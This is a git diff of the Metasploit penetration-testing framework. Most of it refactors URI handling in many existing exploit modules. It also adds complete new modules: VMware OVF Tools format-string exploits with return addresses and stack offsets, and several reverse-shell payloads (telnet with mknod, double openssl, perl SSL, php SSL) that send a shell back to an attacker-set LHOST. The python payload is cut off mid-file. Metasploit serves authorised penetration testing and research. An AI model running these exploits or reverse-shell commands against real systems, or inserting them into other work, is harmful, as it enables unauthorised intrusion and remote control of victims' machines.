@@ class Metasploit3 < Msf::Exploit::Remote res = send_request_cgi( { - 'uri' => "#{base}index.php" , + 'uri' => normalize_uri(base, "index.php") , 'method' => "POST", 'headers' => { diff --git a/modules/exploits/unix/webapp/tikiwiki_graph_formula_exec.rb b/modules/exploits/unix/webapp/tikiwiki_graph_formula_exec.rb index a051069c93..99f57424e1 100644 --- a/modules/exploits/unix/webapp/tikiwiki_graph_formula_exec.rb +++ b/modules/exploits/unix/webapp/tikiwiki_graph_formula_exec.rb @@ -58,7 +58,7 @@ class Metasploit3 < Msf::Exploit::Remote def check res = send_request_raw( { - 'uri' => normalize_uri(datastore['URI']) + "/tiki-index.php", + 'uri' => normalize_uri(datastore['URI'], "/tiki-index.php"), 'method' => 'GET', 'headers' => { @@ -155,8 +155,7 @@ class Metasploit3 < Msf::Exploit::Remote # when exploiting this vulnerability :) # def build_uri(f_val) - uri = normalize_uri(datastore['URI']) - uri << "/tiki-graph_formula.php?" + uri = normalize_uri(datastore['URI'], "/tiki-graph_formula.php?") # Requirements: query = '' diff --git a/modules/exploits/unix/webapp/tikiwiki_jhot_exec.rb b/modules/exploits/unix/webapp/tikiwiki_jhot_exec.rb index c2f500447e..7fac9b73f1 100644 --- a/modules/exploits/unix/webapp/tikiwiki_jhot_exec.rb +++ b/modules/exploits/unix/webapp/tikiwiki_jhot_exec.rb @@ -59,7 +59,7 @@ class Metasploit3 < Msf::Exploit::Remote def check res = send_request_raw( { - 'uri' => normalize_uri(datastore['URI']) + "/tiki-index.php", + 'uri' => normalize_uri(datastore['URI'], "/tiki-index.php"), 'method' => 'GET' }, 25) @@ -82,7 +82,7 @@ class Metasploit3 < Msf::Exploit::Remote end def create_temp_file - url_jhot = normalize_uri(datastore['URI']) + "/jhot.php" + url_jhot = normalize_uri(datastore['URI'], "/jhot.php") scode = "\x0d\x0a\x3c\x3f\x70\x68\x70\x0d\x0a\x2f\x2f\x20\x24\x48\x65\x61" + @@ -153,7 +153,7 @@ class Metasploit3 < Msf::Exploit::Remote end def exe_command(cmd) - url_config = normalize_uri(datastore['URI']) + "/img/wiki/tiki-config.php" + url_config = normalize_uri(datastore['URI'], "/img/wiki/tiki-config.php") res = send_request_raw({ 'uri' => url_config, @@ -182,7 +182,7 @@ class Metasploit3 < Msf::Exploit::Remote end def remove_temp_file - url_config = normalize_uri(datastore['URI']) + "/img/wiki/tiki-config.php" + url_config = normalize_uri(datastore['URI'], "/img/wiki/tiki-config.php") res = send_request_raw({ 'uri' => url_config, diff --git a/modules/exploits/unix/webapp/tikiwiki_unserialize_exec.rb b/modules/exploits/unix/webapp/tikiwiki_unserialize_exec.rb index f6908cbf6d..bb5f625e56 100644 --- a/modules/exploits/unix/webapp/tikiwiki_unserialize_exec.rb +++ b/modules/exploits/unix/webapp/tikiwiki_unserialize_exec.rb @@ -78,7 +78,7 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit - base = normalize_uri(target_uri.path) + base = target_uri.path base << '/' if base[-1, 1] != '/' @upload_php = rand_text_alpha(rand(4) + 4) + ".php" @peer = "#{rhost}:#{rport}" @@ -86,7 +86,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{@peer} - Disclosing the path of the Tiki Wiki on the filesystem") res = send_request_cgi( - 'uri' => "#{base}tiki-rss_error.php" + 'uri' => normalize_uri(base, "tiki-rss_error.php") ) if not res or res.code != 200 or not res.body =~ /[> ](\/.*)tiki-rss_error\.php/ @@ -112,7 +112,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_cgi( { - 'uri' => "#{base}tiki-print_multi_pages.php", + 'uri' => normalize_uri(base, "tiki-print_multi_pages.php"), 'method' => 'POST', 'vars_post' => { 'printpages' => printpages @@ -129,7 +129,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_cgi( { 'method' => 'GET', - 'uri' => "#{base + @upload_php}", + 'uri' => normalize_uri(base, @upload_php), 'headers' => { 'Cmd' => Rex::Text.encode_base64(payload.encoded) } diff --git a/modules/exploits/unix/webapp/twiki_history.rb b/modules/exploits/unix/webapp/twiki_history.rb index 42bccd1b2f..98b628b9f8 100644 --- a/modules/exploits/unix/webapp/twiki_history.rb +++ b/modules/exploits/unix/webapp/twiki_history.rb @@ -61,8 +61,8 @@ class Metasploit3 < Msf::Exploit::Remote # def check test_file = rand_text_alphanumeric(8+rand(8)) - cmd_base = normalize_uri(datastore['URI']) + '/view/Main/TWikiUsers?rev=' - test_url = normalize_uri(datastore['URI']) + '/' + test_file + cmd_base = normalize_uri(datastore['URI'], '/view/Main/TWikiUsers?rev=') + test_url = normalize_uri(datastore['URI'], test_file) # first see if it already exists (it really shouldn't) res = send_request_raw({ @@ -109,7 +109,7 @@ class Metasploit3 < Msf::Exploit::Remote rev = rand_text_numeric(1+rand(5)) rev << ' `' + payload.encoded + '`#' - query_str = normalize_uri(datastore['URI']) + '/view/Main/TWikiUsers' + query_str = normalize_uri(datastore['URI'], '/view/Main/TWikiUsers') query_str << '?rev=' query_str << Rex::Text.uri_encode(rev) diff --git a/modules/exploits/unix/webapp/twiki_search.rb b/modules/exploits/unix/webapp/twiki_search.rb index 741f7eef42..b27a6f4e23 100644 --- a/modules/exploits/unix/webapp/twiki_search.rb +++ b/modules/exploits/unix/webapp/twiki_search.rb @@ -56,8 +56,8 @@ class Metasploit3 < Msf::Exploit::Remote def check content = rand_text_alphanumeric(16+rand(16)) test_file = rand_text_alphanumeric(8+rand(8)) - cmd_base = normalize_uri(datastore['URI']) + '/view/Main/WebSearch?search=' - test_url = normalize_uri(datastore['URI']) + '/view/Main/' + test_file + cmd_base = normalize_uri(datastore['URI'], '/view/Main/WebSearch?search=') + test_url = normalize_uri(datastore['URI'], '/view/Main/', test_file) # first see if it already exists (it really shouldn't) res = send_request_raw({ @@ -105,13 +105,13 @@ class Metasploit3 < Msf::Exploit::Remote search = rand_text_alphanumeric(1+rand(8)) search << "';" + payload.encoded + ";#\'" - query_str = normalize_uri(datastore['URI']) + '/view/Main/WebSearch' + query_str = normalize_uri(datastore['URI'], '/view/Main/WebSearch') query_str << '?search=' query_str << Rex::Text.uri_encode(search) res = send_request_cgi({ 'method' => 'GET', - 'uri' => query_str, + 'uri' => query_str, }, 25) if (res and res.code == 200) diff --git a/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb b/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb index c405327ab0..ef6906721e 100644 --- a/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb +++ b/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb @@ -49,7 +49,7 @@ class Metasploit3 < Msf::Exploit::Remote ['Automatic Targeting', { 'auto' => true }] ], 'DefaultTarget' => 0, - 'DisclosureDate' => "Jan 22 2013", + 'DisclosureDate' => "Jan 22 2013" )) register_options([ @@ -145,4 +145,3 @@ class Metasploit3 < Msf::Exploit::Remote end end - diff --git a/modules/exploits/windows/browser/adobe_cooltype_sing.rb b/modules/exploits/windows/browser/adobe_cooltype_sing.rb index 0a64ebeae4..e51ecadf6d 100644 --- a/modules/exploits/windows/browser/adobe_cooltype_sing.rb +++ b/modules/exploits/windows/browser/adobe_cooltype_sing.rb @@ -25,8 +25,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Author' => [ 'Unknown', # 0day found in the wild - '@sn0wfl0w', # initial analysis - '@vicheck', # initial analysis + 'sn0wfl0w', # initial analysis, also @vicheck on twitter 'jduck' # Metasploit module ], 'References' => diff --git a/modules/exploits/windows/browser/ms10_090_ie_css_clip.rb b/modules/exploits/windows/browser/ms10_090_ie_css_clip.rb index cee5f962a6..a7ba46418a 100644 --- a/modules/exploits/windows/browser/ms10_090_ie_css_clip.rb +++ b/modules/exploits/windows/browser/ms10_090_ie_css_clip.rb @@ -49,7 +49,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Author' => [ 'unknown', # discovered in the wild - '@yuange1975', # PoC posted to twitter + 'Yuange', # PoC posted to twitter under @yuange1975 'Matteo Memelli', # exploit-db version 'jduck' # Metasploit module ], diff --git a/modules/exploits/windows/browser/ovftool_format_string.rb b/modules/exploits/windows/browser/ovftool_format_string.rb new file mode 100644 index 0000000000..fa3681ff88 --- /dev/null +++ b/modules/exploits/windows/browser/ovftool_format_string.rb @@ -0,0 +1,134 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpServer::HTML + + def initialize(info={}) + super(update_info(info, + 'Name' => 'VMWare OVF Tools Format String Vulnerability', + 'Description' => %q{ + This module exploits a format string vulnerability in VMWare OVF Tools 2.1 for + Windows. The vulnerability occurs when printing error messages while parsing a + a malformed OVF file. The module has been tested successfully with VMWare OVF Tools + 2.1 on Windows XP SP3. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Jeremy Brown', # Vulnerability discovery + 'juan vazquez' # Metasploit Module + ], + 'References' => + [ + [ 'CVE', '2012-3569' ], + [ 'OSVDB', '87117' ], + [ 'BID', '56468' ], + [ 'URL', 'http://www.vmware.com/security/advisories/VMSA-2012-0015.html' ] + ], + 'Payload' => + { + 'DisableNops' => true, + 'BadChars' => + (0x00..0x08).to_a.pack("C*") + + "\x0b\x0c\x0e\x0f" + + (0x10..0x1f).to_a.pack("C*") + + (0x80..0xff).to_a.pack("C*") + + "\x22", + 'StackAdjustment' => -3500, + 'PrependEncoder' => "\x54\x59", # push esp # pop ecx + 'EncoderOptions' => + { + 'BufferRegister' => 'ECX', + 'BufferOffset' => 6 + } + }, + 'DefaultOptions' => + { + 'InitialAutoRunScript' => 'migrate -f' + }, + 'Platform' => 'win', + 'Targets' => + [ + # vmware-ovftool-2.1.0-467744-win-i386.msi + [ 'VMWare OVF Tools 2.1 on Windows XP SP3', + { + 'Ret' => 0x7852753d, # call esp # MSVCR90.dll 9.00.30729.4148 installed with VMware OVF Tools 2.1 + 'AddrPops' => 98, + 'StackPadding' => 38081, + 'Alignment' => 4096 + } + ], + ], + 'Privileged' => false, + 'DisclosureDate' => 'Nov 08 2012', + 'DefaultTarget' => 0)) + + end + + def ovf + my_payload = rand_text_alpha(4) # ebp + my_payload << [target.ret].pack("V") # eip # call esp + my_payload << payload.encoded + + fs = rand_text_alpha(target['StackPadding']) # Padding until address aligned to 0x10000 (for example 0x120000) + fs << rand_text_alpha(target['Alignment']) # Align to 0x11000 + fs << my_payload + # 65536 => 0x10000 + # 27 => Error message prefix length + fs << rand_text_alpha(65536 - 27 - target['StackPadding'] - target['Alignment'] - my_payload.length - (target['AddrPops'] * 8)) + fs << "%08x" * target['AddrPops'] # Reach saved EBP + fs << "%hn" # Overwrite LSW of saved EBP with 0x1000 + + ovf_file = <<-EOF + + + + + + + Virtual disk information + + + + A virtual machine + + + EOF + ovf_file + end + + def on_request_uri(cli, request) + agent = request.headers['User-Agent'] + uri = request.uri + + if agent !~ /VMware-client/ or agent !~ /ovfTool/ + print_status("User agent #{agent} not recognized, answering Not Found...") + send_not_found(cli) + end + + if uri =~ /.mf$/ + # The manifest file isn't required + print_status("Sending Not Found for Manifest file request...") + send_not_found(cli) + end + + print_status("Sending OVF exploit...") + send_response(cli, ovf, {'Content-Type'=>'text/xml'}) + end + +end \ No newline at end of file diff --git a/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb b/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb index a8ba842b7e..2e2ad87d3f 100644 --- a/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb +++ b/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb @@ -25,8 +25,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Author' => [ 'Unknown', # 0day found in the wild - '@sn0wfl0w', # initial analysis - '@vicheck', # initial analysis + 'sn0wfl0w', # initial analysis, also @vicheck on twitter 'jduck' # Metasploit module ], 'References' => diff --git a/modules/exploits/windows/fileformat/ovf_format_string.rb b/modules/exploits/windows/fileformat/ovf_format_string.rb new file mode 100644 index 0000000000..cbd21fed2a --- /dev/null +++ b/modules/exploits/windows/fileformat/ovf_format_string.rb @@ -0,0 +1,119 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::FILEFORMAT + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'VMWare OVF Tools Format String Vulnerability', + 'Description' => %q{ + This module exploits a format string vulnerability in VMWare OVF Tools 2.1 for + Windows. The vulnerability occurs when printing error messages while parsing a + a malformed OVF file. The module has been tested successfully with VMWare OVF Tools + 2.1 on Windows XP SP3. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Jeremy Brown', # Vulnerability discovery + 'juan vazquez' # Metasploit Module + ], + 'References' => + [ + [ 'CVE', '2012-3569' ], + [ 'OSVDB', '87117' ], + [ 'BID', '56468' ], + [ 'URL', 'http://www.vmware.com/security/advisories/VMSA-2012-0015.html' ] + ], + 'Payload' => + { + 'DisableNops' => true, + 'BadChars' => + (0x00..0x08).to_a.pack("C*") + + "\x0b\x0c\x0e\x0f" + + (0x10..0x1f).to_a.pack("C*") + + (0x80..0xff).to_a.pack("C*") + + "\x22", + 'StackAdjustment' => -3500, + 'PrependEncoder' => "\x54\x59", # push esp # pop ecx + 'EncoderOptions' => + { + 'BufferRegister' => 'ECX', + 'BufferOffset' => 6 + } + }, + 'Platform' => 'win', + 'Targets' => + [ + # vmware-ovftool-2.1.0-467744-win-i386.msi + [ 'VMWare OVF Tools 2.1 on Windows XP SP3', + { + 'Ret' => 0x7852753d, # call esp # MSVCR90.dll 9.00.30729.4148 installed with VMware OVF Tools 2.1 + 'AddrPops' => 98, + 'StackPadding' => 38081, + 'Alignment' => 4096 + } + ], + ], + 'Privileged' => false, + 'DisclosureDate' => 'Nov 08 2012', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('FILENAME', [ true, 'The file name.', 'msf.ovf']), + ], self.class) + end + + def ovf + my_payload = rand_text_alpha(4) # ebp + my_payload << [target.ret].pack("V") # eip # call esp + my_payload << payload.encoded + + fs = rand_text_alpha(target['StackPadding']) # Padding until address aligned to 0x10000 (for example 0x120000) + fs << rand_text_alpha(target['Alignment']) # Align to 0x11000 + fs << my_payload + # 65536 => 0x10000 + # 27 => Error message prefix length + fs << rand_text_alpha(65536 - 27 - target['StackPadding'] - target['Alignment'] - my_payload.length - (target['AddrPops'] * 8)) + fs << "%08x" * target['AddrPops'] # Reach saved EBP + fs << "%hn" # Overwrite LSW of saved EBP with 0x1000 + + ovf_file = <<-EOF + + + + + + + Virtual disk information + + + + A virtual machine + + + EOF + ovf_file + end + + def exploit + print_status("Creating '#{datastore['FILENAME']}'. This files should be opened with VMMWare OVF 2.1") + file_create(ovf) + end +end diff --git a/modules/exploits/windows/http/php_apache_request_headers_bof.rb b/modules/exploits/windows/http/php_apache_request_headers_bof.rb index 253866b1c8..be89cbc5a4 100644 --- a/modules/exploits/windows/http/php_apache_request_headers_bof.rb +++ b/modules/exploits/windows/http/php_apache_request_headers_bof.rb @@ -103,7 +103,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}") res = send_request_cgi({ - 'uri' => normalize_uri(target_uri.to_s), + 'uri' => normalize_uri(target_uri.path), 'method' => 'GET', 'headers' => { diff --git a/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb b/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb index c73b3b2499..34857f9f84 100644 --- a/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb +++ b/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb @@ -62,7 +62,7 @@ class Metasploit3 < Msf::Exploit::Remote def check - res = send_request_raw({'uri'=>normalize_uri(target_uri.host)}) + res = send_request_raw({'uri'=>'/'}) # Check the base path for version regex if res and res.body =~ /\Scrutinizer\<\/title\>/ and res.body =~ /\
Scrutinizer 9\.[0-5]\.[0-1]\<\/div\>/ return Exploit::CheckCode::Vulnerable diff --git a/modules/exploits/windows/http/sybase_easerver.rb b/modules/exploits/windows/http/sybase_easerver.rb index e095918645..3fd2b947b8 100644 --- a/modules/exploits/windows/http/sybase_easerver.rb +++ b/modules/exploits/windows/http/sybase_easerver.rb @@ -70,7 +70,7 @@ class Metasploit3 < Msf::Exploit::Remote # Sending the request res = send_request_cgi({ - 'uri' => normalize_uri(datastore['DIR']) + '/Login.jsp?' + crash, + 'uri' => normalize_uri(datastore['DIR'], '/Login.jsp?') + crash, 'method' => 'GET', 'headers' => { 'Accept' => '*/*', diff --git a/modules/exploits/windows/http/sysax_create_folder.rb b/modules/exploits/windows/http/sysax_create_folder.rb index 76322d9aab..1e678f874d 100644 --- a/modules/exploits/windows/http/sysax_create_folder.rb +++ b/modules/exploits/windows/http/sysax_create_folder.rb @@ -126,12 +126,12 @@ class Metasploit3 < Msf::Exploit::Remote pass = datastore['SysaxPASS'] creds = "fd=#{Rex::Text.encode_base64(user+"\x0a"+pass)}" - uri = normalize_uri(target_uri.to_s) + uri = target_uri.path # Login to get SID value r = send_request_cgi({ 'method' => "POST", - 'uri' => "#{uri}/scgi?sid=0&pid=dologin", - 'data' => creds + 'uri' => normalize_uri("#{uri}/scgi?sid=0&pid=dologin"), + 'data' => creds }) # Parse response for SID token @@ -146,9 +146,9 @@ class Metasploit3 < Msf::Exploit::Remote # Find the path because it's used to help calculate the offset random_folder_name = rand_text_alpha(8) # This folder should not exist in the root dir - uri normalize_uri(target_uri.to_s) + uri = normalize_uri(target_uri.path) r = send_request_cgi({ - 'uri' => "#{uri}/scgi?sid=#{sid}&pid=transferpage2_name1_#{random_folder_name}.htm", + 'uri' => normalize_uri("#{uri}/scgi?sid=#{sid}&pid=transferpage2_name1_#{random_folder_name}.htm"), 'method' => 'POST', }) @@ -182,9 +182,9 @@ class Metasploit3 < Msf::Exploit::Remote post_data = Rex::MIME::Message.new post_data.add_part(buffer, nil, nil, "form-data; name=\"e2\"") post_data.bound = rand_text_numeric(57) # example; "---------------------------12816808881949705206242427669" - uri = normalize_uri(target_uri.to_s) + uri = normalize_uri(target_uri.path) r = send_request_cgi({ - 'uri' => "#{uri}/scgi?sid=#{sid}&pid=mk_folder2_name1.htm", + 'uri' => normalize_uri("#{uri}/scgi?sid=#{sid}&pid=mk_folder2_name1.htm"), 'method' => 'POST', 'data' => post_data.to_s, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", diff --git a/modules/exploits/windows/iis/ms02_065_msadc.rb b/modules/exploits/windows/iis/ms02_065_msadc.rb index 137a1686c8..b97524a3df 100644 --- a/modules/exploits/windows/iis/ms02_065_msadc.rb +++ b/modules/exploits/windows/iis/ms02_065_msadc.rb @@ -85,7 +85,7 @@ class Metasploit3 < Msf::Exploit::Remote data = 'Content-Type: ' + sploit res = send_request_raw({ - 'uri' => normalize_uri(datastore['PATH']) + '/AdvancedDataFactory.Query', + 'uri' => normalize_uri(datastore['PATH'], '/AdvancedDataFactory.Query'), 'headers' => { 'Content-Length' => data.length, diff --git a/modules/exploits/windows/iis/msadc.rb b/modules/exploits/windows/iis/msadc.rb index 60d1f7b814..d3383308df 100644 --- a/modules/exploits/windows/iis/msadc.rb +++ b/modules/exploits/windows/iis/msadc.rb @@ -128,7 +128,7 @@ class Metasploit3 < Msf::Exploit::Remote data << sploit res = send_request_raw({ - 'uri' => normalize_uri(datastore['PATH']) + '/' + method, + 'uri' => normalize_uri(datastore['PATH'], method), 'agent' => 'ACTIVEDATA', 'headers' => { @@ -200,7 +200,7 @@ class Metasploit3 < Msf::Exploit::Remote data << "\r\n\r\n--#{boundary}--\r\n" res = send_request_raw({ - 'uri' => normalize_uri(datastore['PATH']) + '/VbBusObj.VbBusObjCls.GetMachineName', + 'uri' => normalize_uri(datastore['PATH'], '/VbBusObj.VbBusObjCls.GetMachineName'), 'agent' => 'ACTIVEDATA', 'headers' => { diff --git a/modules/exploits/windows/local/payload_inject.rb b/modules/exploits/windows/local/payload_inject.rb index 0e748cb607..ac2ef8c845 100644 --- a/modules/exploits/windows/local/payload_inject.rb +++ b/modules/exploits/windows/local/payload_inject.rb @@ -88,7 +88,7 @@ class Metasploit3 < Msf::Exploit::Local pids = [] procs.each do |p| - found_pid = p['pid'] + found_pid = p['pid'] return true if found_pid == pid end @@ -173,4 +173,4 @@ class Metasploit3 < Msf::Exploit::Local end end -end \ No newline at end of file +end diff --git a/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb b/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb index dfc48fc27d..135132c9b6 100644 --- a/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb +++ b/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb @@ -72,9 +72,8 @@ class Metasploit3 < Msf::Exploit::Remote def check tmp_rport = datastore['RPORT'] - uri = normalize_uri(target_uri.host) datastore['RPORT'] = datastore['HTTPPORT'] - res = send_request_raw({'uri'=>uri}) + res = send_request_raw({'uri'=>'/'}) #Check the base path for regex datastore['RPORT'] = tmp_rport if res and res.body =~ /\Scrutinizer\<\/title\>/ and res.body =~ /\
Scrutinizer 9\.[0-5]\.[0-2]\<\/div\>/ diff --git a/modules/payloads/singles/cmd/unix/reverse_bash_telnet_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_bash_telnet_ssl.rb new file mode 100644 index 0000000000..b675712c9a --- /dev/null +++ b/modules/payloads/singles/cmd/unix/reverse_bash_telnet_ssl.rb @@ -0,0 +1,63 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp_ssl' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Unix Command Shell, Reverse TCP SSL (telnet)', + 'Version' => '$Revision$', + 'Description' => %q{ + Creates an interactive shell via mknod and telnet. + This method works on Debian and other systems compiled + without /dev/tcp support. This module uses the '-z' + option included on some systems to encrypt using SSL. + }, + 'Author' => 'RageLtMan', + 'License' => MSF_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::ReverseTcpSsl, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd_bash', + 'RequiredCmd' => 'bash-tcp', + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => '' + } + )) + end + + # + # Constructs the payload + # + def generate + vprint_good(command_string) + return super + command_string + end + + # + # Returns the command string to use for execution + # + def command_string + pipe_name = Rex::Text.rand_text_alpha( rand(4) + 8 ) + cmd = "mknod #{pipe_name} p && telnet -z verify=0 #{datastore['LHOST']} #{datastore['LPORT']} 0<#{pipe_name} | $(which $0) 1>#{pipe_name} & sleep 10 && rm #{pipe_name} &" + end +end diff --git a/modules/payloads/singles/cmd/unix/reverse_openssl.rb b/modules/payloads/singles/cmd/unix/reverse_openssl.rb new file mode 100644 index 0000000000..ab9c0c2a13 --- /dev/null +++ b/modules/payloads/singles/cmd/unix/reverse_openssl.rb @@ -0,0 +1,58 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp_double_ssl' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Unix Command Shell, Double reverse TCP SSL (openssl)', + 'Description' => 'Creates an interactive shell through two inbound connections', + 'Author' => 'hdm', + 'License' => MSF_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::ReverseTcpDoubleSSL, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'openssl', + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => '' + } + )) + end + + # + # Constructs the payload + # + def generate + return super + command_string + end + + # + # Returns the command string to use for execution + # + def command_string + cmd = + "sh -c '(sleep #{3600+rand(1024)}|" + + "openssl s_client -quiet -connect #{datastore['LHOST']}:#{datastore['LPORT']}|" + + "while : ; do sh && break; done 2>&1|" + + "openssl s_client -quiet -connect #{datastore['LHOST']}:#{datastore['LPORT']}" + + " >/dev/null 2>&1 &)'" + return cmd + end + +end diff --git a/modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb new file mode 100644 index 0000000000..96724f20e7 --- /dev/null +++ b/modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb @@ -0,0 +1,63 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp_ssl' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Unix Command Shell, Reverse TCP SSL (via perl)', + 'Version' => '$Revision$', + 'Description' => 'Creates an interactive shell via perl, uses SSL', + 'Author' => 'RageLtMan', + 'License' => BSD_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::ReverseTcpSsl, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'perl', + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => '' + } + )) + end + + # + # Constructs the payload + # + def generate + vprint_good(command_string) + return super + command_string + end + + # + # Returns the command string to use for execution + # + def command_string + lhost = datastore['LHOST'] + ver = Rex::Socket.is_ipv6?(lhost) ? "6" : "" + lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost) + cmd = "perl -e 'use IO::Socket::SSL;$p=fork;exit,if($p);" + cmd += "$c=IO::Socket::SSL->new(\"#{lhost}:#{datastore['LPORT']}\");" + cmd += "while(sysread($c,$i,8192)){syswrite($c,`$i`);}'" + end + +end diff --git a/modules/payloads/singles/cmd/unix/reverse_php_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_php_ssl.rb new file mode 100644 index 0000000000..9892515e26 --- /dev/null +++ b/modules/payloads/singles/cmd/unix/reverse_php_ssl.rb @@ -0,0 +1,61 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp_ssl' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Unix Command Shell, Reverse TCP SSL (via php)', + 'Version' => '$Revision$', + 'Description' => 'Creates an interactive shell via php, uses SSL', + 'Author' => 'RageLtMan', + 'License' => BSD_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::ReverseTcpSsl, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'php', + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => '' + } + )) + end + + # + # Constructs the payload + # + def generate + vprint_good(command_string) + return super + command_string + end + + # + # Returns the command string to use for execution + # + def command_string + lhost = datastore['LHOST'] + ver = Rex::Socket.is_ipv6?(lhost) ? "6" : "" + lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost) + cmd = "php -r '$s=fsockopen(\"ssl://#{datastore['LHOST']}\",#{datastore['LPORT']});while(!feof($s)){exec(fgets($s),$o);$o=implode(\"\\n\",$o);$o.=\"\\n\";fputs($s,$o);}'&" + end + +end diff --git a/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb new file mode 100644 index 0000000000..a7e232d24b --- /dev/null +++ b/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb @@ -0,0 +1,79 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp_ssl' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Unix Command Shell, Reverse TCP SSL (via python)', + 'Version' => '$Revision$', + 'Description' => 'Creates an interactive shell via python, uses SSL, encodes with base64 by design.', + 'Author' => 'RageLtMan', + 'License' => BSD_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::ReverseTcpSsl, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'python', + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => '' + } + )) + end + + # + # Constructs the payload + # + def generate + 